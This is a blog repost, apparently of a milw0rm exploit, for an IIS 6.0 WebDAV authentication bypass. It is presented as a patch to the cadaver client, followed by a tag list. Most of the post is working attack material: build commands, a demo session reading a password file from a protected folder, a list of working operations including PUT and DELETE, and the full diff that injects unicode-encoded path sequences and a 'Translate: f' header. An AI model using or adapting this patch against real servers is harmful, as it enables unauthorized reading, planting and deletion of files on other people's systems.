miércoles, 27 de mayo de 2009

Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit (patch)

# Blog with a detailed description:
# http://www.skullsecurity.org/blog/?p=285
#
# And the patch itself:
# http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch
#
# > mkdir cadaver-h4x
# > cd cadaver-h4x
# > wget http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch
# --snip--
# > wget http://www.webdav.org/cadaver/cadaver-0.23.2.tar.gz
# --snip--
# > tar xzvf cadaver-0.23.2.tar.gz
# --snip--
# > cd cadaver-0.23.2/
# > patch -p1 < ../cadaver-0.23.2-h4x.patch # patching file lib/neon/ne_basic.c # patching file lib/neon/ne_request.c # patching file lib/neon/ne_uri.c # > ./configure
# --snip--
# > make
# --snip--
#
# Now we should have a patched, compiled version of cadaver, so start it
# up with the server that was identified as having a vulnerable folder
# earlier:
#
# > ./cadaver xxx.xxx.xxx.xxx
#
# This should drop you to a “dav:/>” prompt. Now just cd into the
# vulnerable folder and check out what’s there:
#
# dav:/> cd secret
# dav:/secret/> ls
# Listing collection `/secret/': succeeded.
# password.txt 7 May 19 10:40
# dav:/secret/> cat password.txt
# Displaying `/secret/password.txt':
# ron$pr0ns
# dav:/secret/>
#
# Here’s a list of commands that I’ve tested that work with the patched
# cadaver on a vulnerable folder:
# * CD
# * LS
# * MOVE
# * PUT
# * GET
# * CAT
# * DELETE

diff -rub cadaver-0.23.2/lib/neon/ne_basic.c cadaver-0.23.2-h4x/lib/neon/ne_basic.c
--- cadaver-0.23.2/lib/neon/ne_basic.c 2008-02-07 16:22:07.000000000 -0600
+++ cadaver-0.23.2-h4x/lib/neon/ne_basic.c 2009-05-20 16:13:46.000000000 -0500
@@ -402,7 +402,7 @@
value = "infinity";
break;
}
- ne_add_request_header(req, "Depth", value);
+ ne_add_request_header(req, "Depth", "1");
}

static int copy_or_move(ne_session *sess, int is_move, int overwrite,
diff -rub cadaver-0.23.2/lib/neon/ne_request.c cadaver-0.23.2-h4x/lib/neon/ne_request.c
--- cadaver-0.23.2/lib/neon/ne_request.c 2008-01-30 05:35:52.000000000 -0600
+++ cadaver-0.23.2-h4x/lib/neon/ne_request.c 2009-05-20 16:35:46.000000000 -0500
@@ -405,6 +405,7 @@
"Connection: TE" EOL
"TE: trailers" EOL);
}
+ ne_buffer_czappend(req->headers, "Translate: f" EOL);
}

int ne_accept_always(void *userdata, ne_request *req, const ne_status *st)
@@ -420,6 +421,7 @@
ne_request *ne_request_create(ne_session *sess,
const char *method, const char *path)
{
+ char *path2 = ne_calloc(strlen(path)+7);
ne_request *req = ne_calloc(sizeof *req);

req->session = sess;
@@ -435,13 +437,18 @@
req->method = ne_strdup(method);
req->method_is_head = (strcmp(method, "HEAD") == 0);

+ if(strlen(path)>2)
+ sprintf(path2, "%c%c%%c0%%af%s", path[0], path[1], path+2);
+ else
+ path2 = path;
+
/* Only use an absoluteURI here when absolutely necessary: some
* servers can't parse them. */
- if (req->session->use_proxy && !req->session->use_ssl && path[0] == '/')
+ if (req->session->use_proxy && !req->session->use_ssl && path2[0] == '/')
req->uri = ne_concat(req->session->scheme, "://",
- req->session->server.hostport, path, NULL);
+ req->session->server.hostport, path2, NULL);
else
- req->uri = ne_strdup(path);
+ req->uri = ne_strdup(path2);

{
struct hook *hk;
diff -rub cadaver-0.23.2/lib/neon/ne_uri.c cadaver-0.23.2-h4x/lib/neon/ne_uri.c
--- cadaver-0.23.2/lib/neon/ne_uri.c 2007-12-05 05:04:47.000000000 -0600
+++ cadaver-0.23.2-h4x/lib/neon/ne_uri.c 2009-05-20 16:13:46.000000000 -0500
@@ -96,7 +96,7 @@
/* 0xXX x0 x2 x4 x6 x8 xA xC xE */
/* 0x */ OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT,
/* 1x */ OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT,
-/* 2x */ OT, SD, OT, GD, SD, PC, SD, SD, SD, SD, SD, PS, SD, DS, DT, FS,
+/* 2x */ OT, SD, OT, GD, SD, AL, SD, SD, SD, SD, SD, PS, SD, DS, DT, FS,
/* 3x */ DG, DG, DG, DG, DG, DG, DG, DG, DG, DG, CL, SD, OT, SD, OT, QU,
/* 4x */ AT, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL,
/* 5x */ AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, GD, OT, GD, OT, US,

# milw0rm.com [2009-05-21]



Se produjo un error en este gadget.

Etiquetas

INTERNET (457) newsweek (305) SEGURIDAD (225) software (136) HACK (86) Hacker (46) GOOGLE (44) Geek (41) hardware (36) WINDOWS (34) Hackers (31) CRACK (29) video (28) DESCARGA (27) facebook (27) videos (26) Celulares (25) MICROSOFT (22) Informatica (21) apple (19) GRATIS (18) technology (18) virus (18) exploit (17) computación (16) informatico (16) web (15) cracker (14) INALAMBRICO (13) WINDOWS 7 (13) noticias (11) MSN (10) termino (10) ACTUALIZACION (9) Gamer (9) LapTops (9) Mac (9) PASSWORD (9) WINDOWS XP (9) dns (9) firefox (9) juegos (9) FOTOS (8) cientifico (8) iphone (8) WEP (7) antivirus (7) bibliografia (7) Desencriptar (6) INFINITUM (6) wifi (6) youtube (6) Craker (5) Culiacan (5) DESMOSTRACION (5) TELEFONIA (5) messenger (5) DIRECTA (4) DOWNLOAD (4) ESPAÑOL (4) XBOX (4) gmail (4) xss (4) Glosario (3) HTML (3) WPA (3) anuncios (3) hosting (3) hotmail (3) Guru (2) ajax (2) ataques (2) wpa2 (2)